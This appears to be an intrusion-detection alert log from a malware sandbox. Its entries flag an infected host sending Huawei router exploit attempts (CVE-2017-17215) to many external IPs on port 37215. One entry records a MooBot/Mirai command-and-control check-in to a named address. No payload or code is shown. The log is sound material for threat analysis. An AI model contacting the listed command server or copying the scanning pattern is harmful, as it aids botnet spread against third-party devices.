ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.195.255.108

Timestamp:	2024-08-06T08:33:00.098081+0200
SID:	2835222
Source Port:	44474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.205.118.26

Timestamp:	2024-08-06T08:33:19.293449+0200
SID:	2835222
Source Port:	38774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.176.189.202

Timestamp:	2024-08-06T08:33:20.946041+0200
SID:	2835222
Source Port:	42698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.32.93

Timestamp:	2024-08-06T08:33:20.938100+0200
SID:	2835222
Source Port:	49082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.32.4

Timestamp:	2024-08-06T08:33:19.229835+0200
SID:	2835222
Source Port:	48504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.84.190

Timestamp:	2024-08-06T08:33:20.938185+0200
SID:	2835222
Source Port:	53022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 154.216.17.9

Timestamp:	2024-08-06T08:33:03.495260+0200
SID:	2030490
Source Port:	36716
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.215.168.4

Timestamp:	2024-08-06T08:33:19.297548+0200
SID:	2835222
Source Port:	51906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.197.24.70

Timestamp:	2024-08-06T08:33:19.268260+0200
SID:	2835222
Source Port:	58436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.179.109.153

Timestamp:	2024-08-06T08:33:20.930073+0200
SID:	2835222
Source Port:	39872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.153.41.46

Timestamp:	2024-08-06T08:33:20.938142+0200
SID:	2835222
Source Port:	34476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.24.211

Timestamp:	2024-08-06T08:33:20.946083+0200
SID:	2835222
Source Port:	51084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.3.222.193

Timestamp:	2024-08-06T08:33:19.606738+0200
SID:	2835222
Source Port:	42356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.227.160

Timestamp:	2024-08-06T08:33:19.267449+0200
SID:	2835222
Source Port:	47500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.252.235.45

Timestamp:	2024-08-06T08:33:20.938099+0200
SID:	2835222
Source Port:	54982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.138.84.192

Timestamp:	2024-08-06T08:33:19.314582+0200
SID:	2835222
Source Port:	41740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.66.102

Timestamp:	2024-08-06T08:33:19.288412+0200
SID:	2835222
Source Port:	47480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.50.198

Timestamp:	2024-08-06T08:33:19.271463+0200
SID:	2835222
Source Port:	54036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.239.85.60

Timestamp:	2024-08-06T08:33:19.620613+0200
SID:	2835222
Source Port:	34696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.36.174.190

Timestamp:	2024-08-06T08:33:20.930032+0200
SID:	2835222
Source Port:	40060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.106.194

Timestamp:	2024-08-06T08:33:19.657543+0200
SID:	2835222
Source Port:	59742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.115.169.96

Timestamp:	2024-08-06T08:33:19.543593+0200
SID:	2835222
Source Port:	40174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.128.65.224

Timestamp:	2024-08-06T08:33:23.599761+0200
SID:	2835222
Source Port:	41010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.20.124

Timestamp:	2024-08-06T08:33:20.938101+0200
SID:	2835222
Source Port:	45250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.209.174

Timestamp:	2024-08-06T08:33:19.268047+0200
SID:	2835222
Source Port:	59090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.246.72.24

Timestamp:	2024-08-06T08:33:20.930117+0200
SID:	2835222
Source Port:	52004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.247.44.228

Timestamp:	2024-08-06T08:33:19.218096+0200
SID:	2835222
Source Port:	56898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.15.163.226

Timestamp:	2024-08-06T08:33:19.285296+0200
SID:	2835222
Source Port:	44628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.178.14

Timestamp:	2024-08-06T08:33:20.926105+0200
SID:	2835222
Source Port:	45176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.68.100.122

Timestamp:	2024-08-06T08:33:19.642729+0200
SID:	2835222
Source Port:	57380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.216.133.161

Timestamp:	2024-08-06T08:33:19.329526+0200
SID:	2835222
Source Port:	44336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.49.113.26

Timestamp:	2024-08-06T08:33:19.621082+0200
SID:	2835222
Source Port:	54012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.38.7

Timestamp:	2024-08-06T08:33:20.930074+0200
SID:	2835222
Source Port:	34922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.61.31.26

Timestamp:	2024-08-06T08:33:19.248066+0200
SID:	2835222
Source Port:	44858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.33.222.0

Timestamp:	2024-08-06T08:33:19.316590+0200
SID:	2835222
Source Port:	43292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.243.224.235

Timestamp:	2024-08-06T08:33:20.942114+0200
SID:	2835222
Source Port:	36376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.71.179.176

Timestamp:	2024-08-06T08:33:19.623944+0200
SID:	2835222
Source Port:	39546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.154.68

Timestamp:	2024-08-06T08:33:19.610366+0200
SID:	2835222
Source Port:	37384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.47.76

Timestamp:	2024-08-06T08:33:19.265714+0200
SID:	2835222
Source Port:	37024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.109.160.83

Timestamp:	2024-08-06T08:33:19.623077+0200
SID:	2835222
Source Port:	57988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.138.212.138

Timestamp:	2024-08-06T08:33:19.236848+0200
SID:	2835222
Source Port:	46520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.95.9.253

Timestamp:	2024-08-06T08:33:20.938081+0200
SID:	2835222
Source Port:	37280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.168.243

Timestamp:	2024-08-06T08:33:19.589989+0200
SID:	2835222
Source Port:	55068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.175.71.81

Timestamp:	2024-08-06T08:33:19.609346+0200
SID:	2835222
Source Port:	44448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.90.142.34

Timestamp:	2024-08-06T08:33:19.624014+0200
SID:	2835222
Source Port:	44004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.197.209.77

Timestamp:	2024-08-06T08:33:19.283837+0200
SID:	2835222
Source Port:	35352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.107.107.14

Timestamp:	2024-08-06T08:33:19.291512+0200
SID:	2835222
Source Port:	39700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.137.142.77

Timestamp:	2024-08-06T08:33:19.232711+0200
SID:	2835222
Source Port:	46642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.12.177

Timestamp:	2024-08-06T08:33:20.934030+0200
SID:	2835222
Source Port:	60610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.111.178.221

Timestamp:	2024-08-06T08:33:19.623673+0200
SID:	2835222
Source Port:	33886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.125.76

Timestamp:	2024-08-06T08:33:20.950147+0200
SID:	2835222
Source Port:	57210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.162.163

Timestamp:	2024-08-06T08:33:19.621712+0200
SID:	2835222
Source Port:	59960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.100.181.150

Timestamp:	2024-08-06T08:33:20.942046+0200
SID:	2835222
Source Port:	42214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.109.171.125

Timestamp:	2024-08-06T08:33:20.938168+0200
SID:	2835222
Source Port:	57982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.129.93.172

Timestamp:	2024-08-06T08:33:19.607087+0200
SID:	2835222
Source Port:	54652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.44.33.222

Timestamp:	2024-08-06T08:33:20.930024+0200
SID:	2835222
Source Port:	49612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.233.189.37

Timestamp:	2024-08-06T08:33:19.233863+0200
SID:	2835222
Source Port:	59224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.42.1.152

Timestamp:	2024-08-06T08:33:19.214464+0200
SID:	2835222
Source Port:	58932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.129.188.53

Timestamp:	2024-08-06T08:33:19.265798+0200
SID:	2835222
Source Port:	55082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.204.204.27

Timestamp:	2024-08-06T08:33:19.268445+0200
SID:	2835222
Source Port:	45600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.58.62.79

Timestamp:	2024-08-06T08:33:17.818142+0200
SID:	2835222
Source Port:	44812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.110.230

Timestamp:	2024-08-06T08:33:19.285160+0200
SID:	2835222
Source Port:	60240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.169.113

Timestamp:	2024-08-06T08:33:19.283793+0200
SID:	2835222
Source Port:	32984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.24.106.202

Timestamp:	2024-08-06T08:33:19.639748+0200
SID:	2835222
Source Port:	48510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.203.201.64

Timestamp:	2024-08-06T08:33:19.248742+0200
SID:	2835222
Source Port:	46216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.124.36.83

Timestamp:	2024-08-06T08:33:19.282683+0200
SID:	2835222
Source Port:	34774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.3.157.176

Timestamp:	2024-08-06T08:33:20.942048+0200
SID:	2835222
Source Port:	35914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.238.246

Timestamp:	2024-08-06T08:33:19.297567+0200
SID:	2835222
Source Port:	50696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.115.81.143

Timestamp:	2024-08-06T08:33:17.822193+0200
SID:	2835222
Source Port:	55094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.102.17.195

Timestamp:	2024-08-06T08:33:19.284520+0200
SID:	2835222
Source Port:	37162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.154.218

Timestamp:	2024-08-06T08:33:19.236292+0200
SID:	2835222
Source Port:	57494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.60.167.28

Timestamp:	2024-08-06T08:33:19.293815+0200
SID:	2835222
Source Port:	44520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.28.212.86

Timestamp:	2024-08-06T08:33:19.269721+0200
SID:	2835222
Source Port:	48180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.69.25

Timestamp:	2024-08-06T08:33:19.282982+0200
SID:	2835222
Source Port:	36364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.57.196.113

Timestamp:	2024-08-06T08:33:20.938167+0200
SID:	2835222
Source Port:	50210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.63.7.9

Timestamp:	2024-08-06T08:33:19.231135+0200
SID:	2835222
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.249.10

Timestamp:	2024-08-06T08:33:19.625423+0200
SID:	2835222
Source Port:	46206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.132.51

Timestamp:	2024-08-06T08:33:20.934031+0200
SID:	2835222
Source Port:	45802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.253.137.119

Timestamp:	2024-08-06T08:33:19.310146+0200
SID:	2835222
Source Port:	39934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.224.13.65

Timestamp:	2024-08-06T08:32:58.473001+0200
SID:	2835222
Source Port:	36186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.90.27.13

Timestamp:	2024-08-06T08:33:19.268788+0200
SID:	2835222
Source Port:	45626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.242.140.238

Timestamp:	2024-08-06T08:33:19.287501+0200
SID:	2835222
Source Port:	56378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.83.250

Timestamp:	2024-08-06T08:33:19.626703+0200
SID:	2835222
Source Port:	45940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.5.53.84

Timestamp:	2024-08-06T08:33:19.292622+0200
SID:	2835222
Source Port:	39070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.255.0.150

Timestamp:	2024-08-06T08:33:20.942044+0200
SID:	2835222
Source Port:	33260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.81.241.106

Timestamp:	2024-08-06T08:33:19.315046+0200
SID:	2835222
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.18.227

Timestamp:	2024-08-06T08:33:19.291343+0200
SID:	2835222
Source Port:	53066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.45.249.113

Timestamp:	2024-08-06T08:33:19.292026+0200
SID:	2835222
Source Port:	47502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.238.196.59

Timestamp:	2024-08-06T08:33:19.292537+0200
SID:	2835222
Source Port:	43022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.183.103.104

Timestamp:	2024-08-06T08:33:19.289803+0200
SID:	2835222
Source Port:	48874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.12.183.66

Timestamp:	2024-08-06T08:33:19.626405+0200
SID:	2835222
Source Port:	51184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.133.139.179

Timestamp:	2024-08-06T08:33:20.950230+0200
SID:	2835222
Source Port:	51782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.63.110.21

Timestamp:	2024-08-06T08:33:20.934027+0200
SID:	2835222
Source Port:	43992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.120.149.131

Timestamp:	2024-08-06T08:33:19.636809+0200
SID:	2835222
Source Port:	39764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.1.147.159

Timestamp:	2024-08-06T08:33:20.942086+0200
SID:	2835222
Source Port:	48384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.121.172.210

Timestamp:	2024-08-06T08:33:21.324355+0200
SID:	2835222
Source Port:	49936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.199.238.198

Timestamp:	2024-08-06T08:33:20.926099+0200
SID:	2835222
Source Port:	47158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.135.201.145

Timestamp:	2024-08-06T08:33:19.653055+0200
SID:	2835222
Source Port:	48732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.82.212

Timestamp:	2024-08-06T08:33:19.217279+0200
SID:	2835222
Source Port:	35798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

